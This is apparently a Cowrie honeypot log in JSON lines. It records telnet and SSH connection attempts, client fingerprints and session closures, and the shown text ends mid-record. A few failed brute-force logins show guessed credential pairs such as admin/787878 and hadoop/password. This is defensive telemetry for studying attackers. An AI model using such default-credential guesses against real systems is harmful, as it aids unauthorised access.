{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57960,"dst_ip":"159.203.135.109","dst_port":23,"session":"a384d403dd75","protocol":"telnet","message":"New connection: 161.97.105.174:57960 (159.203.135.109:23) [session: a384d403dd75]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:00.957596Z"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":57966,"dst_ip":"159.203.135.109","dst_port":23,"session":"f9fc2004c4da","protocol":"telnet","message":"New connection: 161.97.105.174:57966 (159.203.135.109:23) [session: f9fc2004c4da]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:06.956835Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":57446,"dst_ip":"10.17.0.5","dst_port":22,"session":"e15e314a9f94","protocol":"ssh","message":"New connection: 152.32.130.174:57446 (10.17.0.5:22) [session: e15e314a9f94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:09.130495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:09.134941Z","src_ip":"152.32.130.174","session":"e15e314a9f94","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:09.350253Z","src_ip":"152.32.130.174","session":"e15e314a9f94","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"welcome","message":"login attempt [git/welcome] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:10.248421Z","src_ip":"152.32.130.174","session":"e15e314a9f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:11.467880Z","src_ip":"152.32.130.174","session":"e15e314a9f94","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.465617179870605,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:13.145063Z","src_ip":"161.97.105.174","session":"0802b48075c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"154.219.100.220","src_port":58822,"dst_ip":"10.17.0.5","dst_port":22,"session":"65c6f4455a0e","protocol":"ssh","message":"New connection: 154.219.100.220:58822 (10.17.0.5:22) [session: 65c6f4455a0e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:13.612916Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:13.617823Z","src_ip":"154.219.100.220","session":"65c6f4455a0e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:13.821729Z","src_ip":"154.219.100.220","session":"65c6f4455a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59704,"dst_ip":"159.203.135.109","dst_port":23,"session":"9da3f05e3ebf","protocol":"telnet","message":"New connection: 161.97.105.174:59704 (159.203.135.109:23) [session: 9da3f05e3ebf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:14.551736Z"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"password","message":"login attempt [hadoop/password] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:14.673406Z","src_ip":"154.219.100.220","session":"65c6f4455a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59712,"dst_ip":"159.203.135.109","dst_port":23,"session":"207eb447aea6","protocol":"telnet","message":"New connection: 161.97.105.174:59712 (159.203.135.109:23) [session: 207eb447aea6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:14.926331Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:15.879827Z","src_ip":"154.219.100.220","session":"65c6f4455a0e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":59718,"dst_ip":"159.203.135.109","dst_port":23,"session":"a2b06d959a40","protocol":"telnet","message":"New connection: 161.97.105.174:59718 (159.203.135.109:23) [session: a2b06d959a40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:16.456875Z"}
{"eventid":"cowrie.session.closed","duration":34.66017770767212,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:16.617002Z","src_ip":"161.97.105.174","session":"d6a9de362ba4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.960386991500854,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:17.842313Z","src_ip":"161.97.105.174","session":"d2ee2606b57a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.542672634124756,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:19.278704Z","src_ip":"161.97.105.174","session":"3862d7457b20","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.54556679725647,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:22.795698Z","src_ip":"161.97.105.174","session":"b40e2675cdf8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.901793479919434,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:24.472569Z","src_ip":"161.97.105.174","session":"1a7615f13261","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.734554290771484,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:28.379437Z","src_ip":"161.97.105.174","session":"12f03408683b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.31461691856384,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:29.015406Z","src_ip":"161.97.105.174","session":"87c734923098","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44026,"dst_ip":"159.203.135.109","dst_port":23,"session":"43da40d02467","protocol":"telnet","message":"New connection: 161.97.105.174:44026 (159.203.135.109:23) [session: 43da40d02467]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:30.663831Z"}
{"eventid":"cowrie.session.closed","duration":41.01764464378357,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:30.861218Z","src_ip":"64.227.101.30","session":"12d8ce97dc96","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44036,"dst_ip":"159.203.135.109","dst_port":23,"session":"1233de1346c2","protocol":"telnet","message":"New connection: 161.97.105.174:44036 (159.203.135.109:23) [session: 1233de1346c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:31.919438Z"}
{"eventid":"cowrie.session.connect","src_ip":"202.125.94.71","src_port":41188,"dst_ip":"10.17.0.5","dst_port":22,"session":"8cad69e215d9","protocol":"ssh","message":"New connection: 202.125.94.71:41188 (10.17.0.5:22) [session: 8cad69e215d9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:32.160995Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:32.166263Z","src_ip":"202.125.94.71","session":"8cad69e215d9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:32.430631Z","src_ip":"202.125.94.71","session":"8cad69e215d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.12038707733154,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:32.757524Z","src_ip":"161.97.105.174","session":"0b5817febe38","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":44044,"dst_ip":"159.203.135.109","dst_port":23,"session":"cd5819dac95f","protocol":"telnet","message":"New connection: 161.97.105.174:44044 (159.203.135.109:23) [session: cd5819dac95f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:33.160653Z"}
{"eventid":"cowrie.login.failed","username":"admin","password":"787878","message":"login attempt [admin/787878] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:33.519819Z","src_ip":"202.125.94.71","session":"8cad69e215d9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.80160880088806,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:33.759068Z","src_ip":"161.97.105.174","session":"a384d403dd75","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:34.787326Z","src_ip":"202.125.94.71","session":"8cad69e215d9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38186,"dst_ip":"159.203.135.109","dst_port":23,"session":"e22b26a3e00d","protocol":"telnet","message":"New connection: 161.97.105.174:38186 (159.203.135.109:23) [session: e22b26a3e00d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:38.880298Z"}
{"eventid":"cowrie.session.closed","duration":32.57229709625244,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:39.529005Z","src_ip":"161.97.105.174","session":"f9fc2004c4da","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"64.62.197.90","src_port":5459,"dst_ip":"159.203.135.109","dst_port":22,"session":"37ddebb89ee4","protocol":"ssh","message":"New connection: 64.62.197.90:5459 (159.203.135.109:22) [session: 37ddebb89ee4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:40.223353Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:40.227739Z","src_ip":"64.62.197.90","session":"37ddebb89ee4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"7216c7c473918b4f83d1139b3c70dbf9","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,arcfour256,arcfour128,aes128-cbc,3des-cbc,arcfour;hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","arcfour256","arcfour128","aes128-cbc","3des-cbc","arcfour"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 7216c7c473918b4f83d1139b3c70dbf9","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:40.315959Z","src_ip":"64.62.197.90","session":"37ddebb89ee4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.0","message":"Connection lost after 4.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:44.223570Z","src_ip":"64.62.197.90","session":"37ddebb89ee4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":38200,"dst_ip":"159.203.135.109","dst_port":23,"session":"da12485fb42d","protocol":"telnet","message":"New connection: 161.97.105.174:38200 (159.203.135.109:23) [session: da12485fb42d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:46.974097Z"}
{"eventid":"cowrie.session.closed","duration":32.8148090839386,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:47.741015Z","src_ip":"161.97.105.174","session":"207eb447aea6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.53806829452515,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:48.089644Z","src_ip":"161.97.105.174","session":"9da3f05e3ebf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48524,"dst_ip":"159.203.135.109","dst_port":23,"session":"53dc05b3f20f","protocol":"telnet","message":"New connection: 161.97.105.174:48524 (159.203.135.109:23) [session: 53dc05b3f20f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:49.219303Z"}
{"eventid":"cowrie.session.closed","duration":34.67244839668274,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:51.129220Z","src_ip":"161.97.105.174","session":"a2b06d959a40","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"161.97.105.174","src_port":48532,"dst_ip":"159.203.135.109","dst_port":23,"session":"43eb54f54679","protocol":"telnet","message":"New connection: 161.97.105.174:48532 (159.203.135.109:23) [session: 43eb54f54679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:51.832711Z"}
{"eventid":"cowrie.session.connect","src_ip":"143.202.7.126","src_port":38362,"dst_ip":"10.17.0.5","dst_port":23,"session":"edd1156e47ce","protocol":"telnet","message":"New connection: 143.202.7.126:38362 (10.17.0.5:23) [session: edd1156e47ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:55.834026Z"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":42274,"dst_ip":"10.17.0.5","dst_port":22,"session":"4cc473bfc5f3","protocol":"ssh","message":"New connection: 193.32.162.145:42274 (10.17.0.5:22) [session: 4cc473bfc5f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:55.973443Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:55.977736Z","src_ip":"193.32.162.145","session":"4cc473bfc5f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:56.085137Z","src_ip":"193.32.162.145","session":"4cc473bfc5f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"degen","password":"degen","message":"login attempt [degen/degen] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:56.462968Z","src_ip":"193.32.162.145","session":"4cc473bfc5f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:26:57.571884Z","src_ip":"193.32.162.145","session":"4cc473bfc5f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.130.174","src_port":39088,"dst_ip":"10.17.0.5","dst_port":22,"session":"74aa80553563","protocol":"ssh","message":"New connection: 152.32.130.174:39088 (10.17.0.5:22) [session: 74aa80553563]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:00.163637Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T15:27:00.174304Z","src_ip":"152.32.130.174","session":"74aa80553563","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2